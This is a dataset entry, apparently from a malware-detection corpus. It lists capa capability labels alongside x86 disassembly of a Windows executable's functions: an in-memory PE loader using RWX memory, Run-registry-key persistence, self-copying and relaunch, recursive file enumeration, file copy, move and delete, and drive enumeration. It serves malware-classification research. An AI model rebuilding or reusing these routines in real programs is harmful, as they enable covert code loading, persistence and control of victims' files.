joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
mov ebx, dword [ebp + 8]
lea esi, [ebp - 8]
xor eax, eax
mov dword [esi], eax
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [ebx]
lea eax, [ebp - 0x54]
mov ecx, 0x40
call fcn.00401510
cmp word [ebp - 0x54], 0x5a4d
jne 0x40391c
mov edx, dword [ebx]
add edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14c]
mov ecx, 0xf8
call fcn.00401510
cmp dword [ebp - 0x14c], 0x4550
jne 0x40391c
push 0x40
push 0x2000
mov eax, dword [ebp - 0xfc]
push eax
mov eax, dword [ebp - 0x118]
push eax
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403825
push 0x40
push 0x2000
mov eax, dword [ebp - 0xfc]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40391c
push 0x11
push 0
call sub.kernel32.dll_GetProcessHeap
push eax
call sub.kernel32.dll_HeapAlloc
mov dword [esi], eax
mov eax, dword [esi]
mov edx, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov eax, dword [esi]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [esi]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [esi]
mov byte [eax + 0x10], 0
push 0x40
push 0x1000
mov eax, dword [ebp - 0xfc]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc
push 0x40
push 0x1000
mov eax, dword [ebp - 0xf8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0xf8]
mov edx, dword [ebx]
mov eax, dword [ebp - 0x10]
call fcn.00401510
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
mov edx, dword [esi]
mov dword [edx], eax
mov edx, dword [ebp - 0xc]
mov dword [eax + 0x34], edx
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebx]
push eax
call fcn.00403318
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x118]
test eax, eax
je 0x4038d8
push eax
mov eax, dword [esi]
push eax
call fcn.004033dc
mov eax, dword [esi]
push eax
call fcn.004034a8
test al, al
mov eax, dword [esi]
push eax
call fcn.004036c8
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x403917
mov edx, eax
mov ebx, dword [ebp - 0xc]
add edx, ebx
mov dword [ebp - 0x14], edx
test edx, edx
push 0
push 1
push ebx
call dword [ebp - 0x14]
cmp eax, 1
sbb eax, eax
inc eax
test al, al
mov eax, dword [esi]
mov byte [eax + 0x10], 1
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403ac8
Capabilities:
Write file on windows

Disassembly:
push ebx
push ecx
mov ebx, edx
mov edx, dword [0x40807c]
cmp byte [edx + 0xc], 0
je 0x403b79
mov edx, dword [0x40807c]
mov edx, dword [edx + 0x10]
cmp edx, 0xffffffff
je 0x403b79
push 0
lea ecx, [esp + 4]
push ecx
push ebx
push eax
mov eax, dword [0x40807c]
push edx
call sub.kernel32.dll_WriteFile
cmp ebx, dword [esp]
je 0x403b3f
push 1
mov eax, dword [0x40807c]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x60
call fcn.004031c0
mov eax, dword [0x40807c]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40807c]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x40807c]
mov byte [eax + 0xc], 0
jmp 0x403b79
push 1
mov eax, dword [0x40807c]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x5e
call fcn.004031c0
test al, al
jne 0x403b79
mov eax, dword [0x40807c]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40807c]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x40807c]
mov byte [eax + 0xc], 0
pop edx
pop ebx
ret

Function at 0x403cf8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
add esp, 0xfffffff0
mov esi, eax
xor eax, eax
mov dword [esp], eax
call fcn.00402570
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_lstrlenW
add eax, 0x14
add eax, eax
call fcn.00401448
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x403d56
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.kernel32.dll_lstrcpyW
mov eax, dword [0x4080c8]
mov eax, dword [eax]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.kernel32.dll_lstrcatW
mov eax, dword [esp + 8]
call fcn.00401438
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [esp + 0x24]
push eax
call sub.kernel32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403dad
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov dword [esi], eax
mov edx, dword [esi]
mov eax, esp
call fcn.004014b4
cmp dword [esp], 0
je 0x403da7
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push eax
mov eax, dword [esp + 0xc]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp]
add esp, 0x10
pop esi
pop ebx
ret
Function at 0x4042d8
Capabilities:
Persist via run registry key
Terminate thread

Disassembly:
push 0
mov eax, dword [0x408088]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_TerminateThread
push 0
mov ecx, dword [0x40809c]
mov ecx, dword [ecx]
mov edx, dword [0x408060]
mov eax, 0x80000002
call fcn.0040176c
test al, al
jne 0x40431f
push 0
mov ecx, dword [0x40809c]
mov ecx, dword [ecx]
mov edx, dword [0x408060]
mov eax, 0x80000001
call fcn.0040176c
mov eax, dword [0x4080c4]
mov eax, dword [eax]
call fcn.00403064
push 0
call sub.kernel32.dll_ExitProcess_1

Function at 0x4043f4
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [0x4080b4]
cmp dword [eax], 0
jne 0x40440b
call fcn.00402428
mov edx, dword [0x4080b4]
mov dword [edx], eax
push 0
push 0
push 0
mov eax, dword [0x4080b4]
mov eax, dword [eax]
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteW
cmp eax, 0x20
jb 0x40442e
push 0
call sub.kernel32.dll_ExitProcess_1
ret

Function at 0x404430
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebx
add esp, 0xfffffff4
mov dword [esp], eax
xor ebx, ebx
mov eax, dword [esp]
push eax
call sub.kernel32.dll_lstrlenW
test eax, eax
je 0x40450a
mov eax, esp
call fcn.00402724
call fcn.00402570
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40450a
lea eax, [esp + 4]
call fcn.00402724
mov eax, dword [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_lstrcmpW
test eax, eax
je 0x4044e3
mov eax, dword [0x4080c0]
mov eax, dword [eax]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_lstrcatW
call fcn.00402428
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x404501
push 0
mov eax, dword [esp + 4]
push eax
mov eax, dword [esp + 0x10]
push eax
call sub.kernel32.dll_CopyFileW
test eax, eax
je 0x4044d8
push 0
push 0
push 0
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteW
cmp eax, 0x20
jb 0x4044d8
push 0
call sub.kernel32.dll_ExitProcess_1
mov eax, dword [esp + 8]
call fcn.00401438
jmp 0x404501
mov eax, dword [0x4080c0]
mov eax, dword [eax]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_lstrcatW
mov eax, dword [0x4080b4]
mov edx, dword [esp]
mov dword [eax], edx
mov bl, 1
mov eax, dword [esp + 4]
call fcn.00401438
mov eax, ebx
add esp, 0xc
pop ebx
ret

Function at 0x404514
Capabilities:
Create thread
Print debug messages

Disassembly:
push ecx
push 0x7d0
call sub.kernel32.dll_Sleep
push 0x40459c
call sub.kernel32.dll_OutputDebugStringA
push 0x8007
call sub.kernel32.dll_SetErrorMode
xor eax, eax
call fcn.004040f0
call fcn.00401f9c
call fcn.00404334
mov eax, dword [0x4080f0]
cmp byte [eax], 0
je 0x404566
call fcn.004023b8
call fcn.00404430
test al, al
jne 0x404566
call fcn.00402350
call fcn.00404430
mov eax, dword [0x408068]
cmp byte [eax], 0
je 0x404575
call fcn.00402454
mov eax, dword [0x4080d4]
cmp byte [eax], 0
je 0x404592
push esp
push 0
push 0
push 0x40435c
push 0
push 0
call sub.kernel32.dll_CreateThread
call fcn.00403db8
pop edx
ret
Function at 0x404624
Capabilities:
Write file on windows

Disassembly:
push ebx
push ecx
mov ebx, edx
mov edx, dword [0x408084]
cmp byte [edx + 0xc], 0
je 0x4046d5
mov edx, dword [0x408084]
mov edx, dword [edx + 0x10]
cmp edx, 0xffffffff
je 0x4046d5
push 0
lea ecx, [esp + 4]
push ecx
push ebx
push eax
mov eax, dword [0x408084]
push edx
call sub.kernel32.dll_WriteFile
cmp ebx, dword [esp]
je 0x40469b
push 1
mov eax, dword [0x408084]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x78
call fcn.004031c0
mov eax, dword [0x408084]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x408084]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x408084]
mov byte [eax + 0xc], 0
jmp 0x4046d5
push 1
mov eax, dword [0x408084]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x76
call fcn.004031c0
test al, al
jne 0x4046d5
mov eax, dword [0x408084]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x408084]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x408084]
mov byte [eax + 0xc], 0
pop edx
pop ebx
ret

Function at 0x404790
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [0x408084]
cmp byte [eax + 0xc], 1
jne 0x404824
mov eax, dword [0x408084]
mov byte [eax + 0xd], 1
mov eax, dword [0x408084]
mov byte [eax + 0xc], 0
mov eax, dword [0x408084]
mov eax, dword [eax + 0x10]
cmp eax, 0xffffffff
je 0x404824
mov edx, dword [0x408084]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x408084]
mov dword [eax + 0x10], 0xffffffff
push 1
mov eax, dword [0x408084]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x78
call fcn.004031c0
test bl, bl
je 0x404824
push 0
push 0
push 0
mov eax, dword [0x408084]
mov eax, dword [eax]
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteW
cmp eax, 0x20
jb 0x404824
mov eax, dword [0x4080c4]
mov eax, dword [eax]
call fcn.00403064
push 0x64
call sub.kernel32.dll_Sleep
call fcn.004042d8
pop ebx
ret
Function at 0x404968
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffb98
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov esi, edx
mov edi, eax
mov eax, dword [0x4080e0]
cmp byte [eax + 0xc], 0
je 0x404b81
lea eax, [ebp - 8]
mov edx, 0x208
call fcn.004014d0
cmp dword [ebp - 8], 0
je 0x404b81
lea eax, [ebp - 0xc]
mov edx, 0x208
call fcn.004014d0
cmp dword [ebp - 0xc], 0
je 0x404b79
push 0x104
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_lstrcpynW
mov eax, dword [ebp - 8]
call fcn.0040493c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_lstrcatW
lea eax, [ebp - 0x468]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindFirstFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404a8e
mov eax, dword [0x4080e0]
cmp byte [eax + 0xc], 0
je 0x404a88
lea eax, [ebp - 0x43c]
push eax
call sub.kernel32.dll_lstrlenW
dec eax
jne 0x404a1f
cmp word [ebp - 0x43c], 0x2e
je 0x404a73
lea eax, [ebp - 0x216]
mov edx, 0x20a
call fcn.00401538
test byte [ebp - 0x468], 0x10
jne 0x404a73
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_lstrcpyW
mov eax, dword [ebp - 0xc]
call fcn.0040493c
lea eax, [ebp - 0x43c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_lstrcatW
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
inc eax
push eax
mov ecx, dword [ebp - 0xc]
mov dl, 0x84
mov eax, edi
call fcn.004031c0
lea eax, [ebp - 0x468]
push eax
push ebx
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x4049f7
push ebx
call sub.kernel32.dll_FindClose
cmp byte [ebp + 8], 0
je 0x404b81
push 0x104
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_lstrcpynW
mov eax, dword [ebp - 8]
call fcn.0040493c
push 0x404b8c
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_lstrcatW
lea eax, [ebp - 0x468]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindFirstFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404b71
lea eax, [ebp - 0x43c]
push eax
call sub.kernel32.dll_lstrlenW
dec eax
jne 0x404af1
cmp word [ebp - 0x43c], 0x2e
je 0x404b56
push 0x404b94
lea eax, [ebp - 0x43c]
push eax
call sub.kernel32.dll_lstrcmpW
test eax, eax
je 0x404b56
lea eax, [ebp - 0x216]
mov edx, 0x20a
call fcn.00401538
test byte [ebp - 0x468], 0x10
je 0x404b56
cmp dword [ebp - 0xc], 0
je 0x404b56
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_lstrcpyW
mov eax, dword [ebp - 0xc]
call fcn.0040493c
lea eax, [ebp - 0x43c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_lstrcatW
push 1
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00404968
lea eax, [ebp - 0x468]
push eax
push ebx
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x404ad8
push ebx
call sub.kernel32.dll_FindClose
mov eax, dword [ebp - 0xc]
call fcn.00401438
mov eax, dword [ebp - 8]
call fcn.00401438
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404c18
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
mov edi, eax
mov eax, dword [0x4080e0]
cmp byte [eax + 0xc], 0
je 0x404c40
mov eax, dword [0x4080e0]
mov byte [eax + 0xc], 0
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, esp
mov edx, 0x208
call fcn.004014b4
cmp dword [esp], 0
je 0x404cf1
lea eax, [esp + 4]
mov edx, 0x208
call fcn.004014b4
cmp dword [esp + 4], 0
je 0x404ce9
mov edx, 0x104
mov eax, dword [esp]
call fcn.00401538
mov dx, 0x7c
mov eax, esi
call fcn.004025e4
mov ebx, eax
test ebx, ebx
jle 0x404ce0
mov ecx, ebx
add ecx, ecx
mov edx, esi
mov eax, dword [esp]
call fcn.00401508
inc ebx
mov eax, ebx
add eax, eax
add esi, eax
push esi
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyW
mov eax, dword [0x4080e0]
mov dword [eax + 8], edi
mov eax, dword [0x4080e0]
mov edx, dword [esp]
mov dword [eax + 4], edx
mov eax, dword [0x4080e0]
mov edx, dword [esp + 4]
mov dword [eax], edx
push 0x40929c
push 0
push 0
push 0x404b9c
push 0
push 0
call sub.kernel32.dll_CreateThread
jmp 0x404cf1
mov eax, dword [esp + 4]
call fcn.00401438
mov eax, dword [esp]
call fcn.00401438
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x404cf8
Capabilities:
Copy file

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, edx
mov edi, eax
mov eax, esp
mov edx, 0x208
call fcn.004014b4
cmp dword [esp], 0
je 0x404d80
mov edx, 0x208
mov eax, dword [esp]
call fcn.00401538
mov dx, 0x7c
mov eax, esi
call fcn.004025e4
mov ebx, eax
test ebx, ebx
jle 0x404d78
mov ecx, ebx
add ecx, ecx
mov edx, esi
mov eax, dword [esp]
call fcn.00401508
inc ebx
mov eax, ebx
add eax, eax
add esi, eax
push 0
mov eax, dword [esp + 4]
push eax
push esi
call sub.kernel32.dll_CopyFileW
test eax, eax
je 0x404d68
push 3
mov ecx, 0x404d88
mov dl, 0x81
mov eax, edi
call fcn.004031c0
jmp 0x404d78
push 3
mov ecx, 0x404d8c
mov dl, 0x81
mov eax, edi
call fcn.004031c0
mov eax, dword [esp]
call fcn.00401438
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x404d90
Capabilities:
Enumerate files on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff994
mov dword [esp], edx
mov esi, eax
xor ebx, ebx
push 1
xor ecx, ecx
mov dl, 0x7d
mov eax, esi
call fcn.004031c0
push 0x20a
mov eax, dword [esp + 4]
push eax
lea eax, [esp + 0x10]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrlenW
cmp word [esp + eax*2 + 8], 0x5c
je 0x404de3
push 0x404f24
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_lstrcatW
push 0x404f28
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_lstrcatW
lea eax, [esp + 4]
mov edx, 0x1000
call fcn.004014b4
cmp dword [esp + 4], 0
je 0x404f0b
lea eax, [esp + 0x41c]
push eax
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_FindFirstFileW
mov edi, eax
cmp edi, 0xffffffff
je 0x404f02
lea eax, [esp + 0x448]
push eax
call sub.kernel32.dll_lstrlenW
dec eax
jne 0x404e43
cmp word [esp + 0x448], 0x2e
je 0x404ec1
lea eax, [esp + 0x212]
mov edx, 0x20a
call fcn.00401538
test byte [esp + 0x41c], 0x10
jne 0x404ec1
lea eax, [esp + 0x448]
push eax
mov eax, dword [esp + 4]
push eax
push 0x404f30
lea eax, [esp + 0x21e]
push eax
call sub.user32.dll_wsprintfW
add esp, 0x10
mov ebp, eax
lea eax, [esp + 0x212]
push eax
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_lstrcatW
add ebx, ebp
cmp ebx, 0x708
jle 0x404ec1
mov eax, ebx
add eax, eax
inc eax
push eax
mov ecx, dword [esp + 8]
mov dl, 0x7e
mov eax, esi
call fcn.004031c0
xor ebx, ebx
mov edx, 0x1000
mov eax, dword [esp + 4]
call fcn.00401538
lea eax, [esp + 0x41c]
push eax
push edi
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x404e28
test ebx, ebx
je 0x404efc
mov eax, ebx
add eax, eax
inc eax
push eax
mov ecx, dword [esp + 8]
mov dl, 0x7e
mov eax, esi
call fcn.004031c0
mov edx, 0x1000
mov eax, dword [esp + 4]
call fcn.00401538
push edi
call sub.kernel32.dll_FindClose
mov eax, dword [esp + 4]
call fcn.00401438
push 1
xor ecx, ecx
mov dl, 0x7f
mov eax, esi
call fcn.004031c0
add esp, 0x66c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x404f3c
Capabilities:
Write file on windows

Disassembly:
push ebx
push ecx
mov ebx, edx
mov edx, dword [0x4080cc]
cmp byte [edx + 0xc], 0
je 0x405003
mov edx, dword [0x4080cc]
mov edx, dword [edx + 0x10]
cmp edx, 0xffffffff
je 0x405003
push 0
lea ecx, [esp + 4]
push ecx
push ebx
push eax
mov eax, dword [0x4080cc]
push edx
call sub.kernel32.dll_WriteFile
cmp ebx, dword [esp]
je 0x404fbe
push 1
mov eax, dword [0x4080cc]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x4f
call fcn.004031c0
mov eax, dword [0x4080cc]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4080cc]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x4080cc]
mov byte [eax + 0xc], 0
mov eax, dword [0x408078]
mov dword [eax], 0xffffffff
jmp 0x405003
push 1
mov eax, dword [0x4080cc]
mov eax, dword [eax + 8]
xor ecx, ecx
mov dl, 0x50
call fcn.004031c0
test al, al
jne 0x405003
mov eax, dword [0x4080cc]
mov eax, dword [eax + 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4080cc]
mov dword [eax + 0x10], 0xffffffff
mov eax, dword [0x4080cc]
mov byte [eax + 0xc], 0
mov eax, dword [0x408078]
mov dword [eax], 0xffffffff
pop edx
pop ebx
ret

Function at 0x405294
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [0x4080cc]
cmp byte [ecx + 0xc], 0
jne 0x4052fa
mov ecx, dword [0x408078]
mov dword [ecx], 0xffffffff
mov ecx, dword [0x4080cc]
mov dword [ecx + 0x10], 0xffffffff
mov ecx, dword [0x4080cc]
mov byte [ecx + 0xc], 1
mov ecx, dword [0x4080cc]
mov byte [ecx + 0xd], 0
mov ecx, dword [0x4080cc]
mov dword [ecx], edx
mov edx, dword [0x4080cc]
mov dword [edx + 8], eax
push esp
push 0
push 0
push 0x4050d4
push 0
push 0
call sub.kernel32.dll_CreateThread
mov edx, dword [0x408078]
mov dword [edx], eax
pop edx
ret

Function at 0x40537c
Capabilities:
Move file

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, edx
mov ebp, eax
xor ebx, ebx
mov eax, esp
mov edx, 0x104
call fcn.004014b4
cmp dword [esp], 0
je 0x405403
mov edx, 0x104
mov eax, dword [esp]
call fcn.00401538
mov dx, 0x7c
mov eax, esi
call fcn.004025e4
mov edi, eax
test edi, edi
jle 0x4053fb
mov ecx, edi
add ecx, ecx
mov edx, esi
mov eax, dword [esp]
call fcn.00401508
inc edi
mov eax, edi
add eax, eax
add esi, eax
push esi
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_MoveFileW
test eax, eax
je 0x4053ec
push 1
xor ecx, ecx
mov dl, 0x17
mov eax, ebp
call fcn.004031c0
mov ebx, eax
jmp 0x4053fb
push 1
xor ecx, ecx
mov dl, 0x18
mov eax, ebp
call fcn.004031c0
mov ebx, eax
mov eax, dword [esp]
call fcn.00401438
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x405478
Capabilities:
Delete file

Disassembly:
push ebx
push esi
add esp, 0xffffffe0
mov esi, edx
mov ebx, eax
mov eax, esp
xor ecx, ecx
mov edx, 0x1e
call fcn.00401518
xor eax, eax
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], 3
mov word [esp + 0x10], 0x14
push esp
call sub.shell32.dll_SHFileOperationW
test eax, eax
jne 0x4054c0
push 1
xor ecx, ecx
mov dl, 0x11
mov eax, ebx
call fcn.004031c0
jmp 0x4054cd
push 1
xor ecx, ecx
mov dl, 0x12
mov eax, ebx
call fcn.004031c0
add esp, 0x20
pop esi
pop ebx
ret
Function at 0x405504
Capabilities:
Get disk information

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff6d4
mov edi, eax
mov ebp, esp
lea eax, [esp + 4]
mov edx, 0x800
call fcn.00401538
lea eax, [esp + 0x90a]
mov edx, 0x20
call fcn.00401538
lea eax, [esp + 0x804]
push eax
push 0x104
call sub.kernel32.dll_GetLogicalDriveStringsW
shr eax, 2
mov esi, eax
dec esi
test esi, esi
jl 0x4055c1
inc esi
lea ebx, [esp + 0x804]
mov eax, ebx
mov dword [ebp], eax
mov eax, dword [ebp]
push eax
call sub.kernel32.dll_GetDriveTypeW
sub eax, 2
je 0x405580
dec eax
je 0x405572
sub eax, 2
je 0x405579
jmp 0x405587
mov eax, 1
jmp 0x40558c
mov eax, 2
jmp 0x40558c
mov eax, 3
jmp 0x40558c
mov eax, 1
push eax
mov eax, dword [ebp]
mov ax, word [eax]
push eax
push 0x4055e8
lea eax, [esp + 0x916]
push eax
call sub.user32.dll_wsprintfW
add esp, 0x10
lea eax, [esp + 0x90a]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatW
add ebx, 8
dec esi
jne 0x405555
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
inc eax
push eax
lea ecx, [esp + 8]
mov dl, 3
mov eax, edi
call fcn.004031c0
add esp, 0x92c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4055f4
Capabilities:
Enumerate files on windows
Get disk size

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff93c
mov edi, edx
mov esi, eax
xor ebx, ebx
push 1
xor ecx, ecx
mov dl, 5
mov eax, esi
call fcn.004031c0
push edi
call sub.kernel32.dll_lstrlenW
cmp eax, 3
jne 0x40567b
push 0
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x10]
push eax
push edi
call sub.kernel32.dll_GetDiskFreeSpaceExW
test eax, eax
jne 0x40567b
lea eax, [esp + 0x260]
mov edx, 0x20a
call fcn.00401538
push 0x405860
lea eax, [esp + 0x264]
push eax
call sub.kernel32.dll_lstrcatW
lea eax, [esp + 0x260]
push eax
call sub.kernel32.dll_lstrlenW
inc eax
push eax
lea ecx, [esp + 0x264]
mov dl, 8
mov eax, esi
call fcn.004031c0
mov ebx, eax
jmp 0x405851
push 0x20a
push edi
lea eax, [esp + 0x268]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [esp + 0x260]
push eax
call sub.kernel32.dll_lstrlenW
cmp word [esp + eax*2 + 0x260], 0x5c
je 0x4056b8
push 0x405868
lea eax, [esp + 0x264]
push eax
call sub.kernel32.dll_lstrcatW
push 0x40586c
lea eax, [esp + 0x264]
push eax
call sub.kernel32.dll_lstrcatW
mov eax, esp
mov edx, 0x1000
call fcn.004014d0
cmp dword [esp], 0
je 0x405842
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x264]
push eax
call sub.kernel32.dll_FindFirstFileW
mov edi, eax
cmp edi, 0xffffffff
je 0x4057ea
lea eax, [esp + 0x3c]
push eax
call sub.kernel32.dll_lstrlenW
dec eax
jne 0x405716
cmp word [esp + 0x3c], 0x2e
je 0x4057ab
lea eax, [esp + 0x46a]
mov edx, 0x258
call fcn.00401538
test byte [esp + 0x10], 0x10
je 0x40574c
lea eax, [esp + 0x3c]
push eax
push 0x405874
lea eax, [esp + 0x472]
push eax
call sub.user32.dll_wsprintfW
add esp, 0xc
mov ebp, eax
jmp 0x40576d
mov eax, dword [esp + 0x30]
push eax
lea eax, [esp + 0x40]
push eax
push 0x405880
lea eax, [esp + 0x476]
push eax
call sub.user32.dll_wsprintfW
add esp, 0x10
mov ebp, eax
lea eax, [esp + 0x46a]
push eax
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_lstrcatW
add ebx, ebp
cmp ebx, 0x708
jle 0x4057ab
mov eax, ebx
add eax, eax
inc eax
push eax
mov ecx, dword [esp + 4]
mov dl, 6
mov eax, esi
call fcn.004031c0
xor ebx, ebx
mov edx, 0x1000
mov eax, dword [esp]
call fcn.00401538
lea eax, [esp + 0x10]
push eax
push edi
call sub.kernel32.dll_FindNextFileW
test eax, eax
jne 0x4056fd
test ebx, ebx
je 0x4057e2
mov eax, ebx
add eax, eax
inc eax
push eax
mov ecx, dword [esp + 4]
mov dl, 6
mov eax, esi
call fcn.004031c0
mov edx, 0x1000
mov eax, dword [esp]
call fcn.00401538
push edi
call sub.kernel32.dll_FindClose
jmp 0x40583a
lea eax, [esp + 0x260]
mov edx, 0x20a
call fcn.00401538
push 0x405890
lea eax, [esp + 0x264]
push eax
call sub.kernel32.dll_lstrcatW
lea eax, [esp + 0x260]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
inc eax
push eax
lea ecx, [esp + 0x264]
mov dl, 8
mov eax, esi
call fcn.004031c0
mov ebx, eax
mov eax, dword [esp]
call fcn.00401438
jmp 0x405851
mov eax, dword [esp]
call fcn.00401438
push 1
xor ecx, ecx
mov dl, 7
mov eax, esi
call fcn.004031c0
mov ebx, eax
mov eax, ebx
add esp, 0x6c4
pop ebp
pop edi
pop esi
pop ebx
ret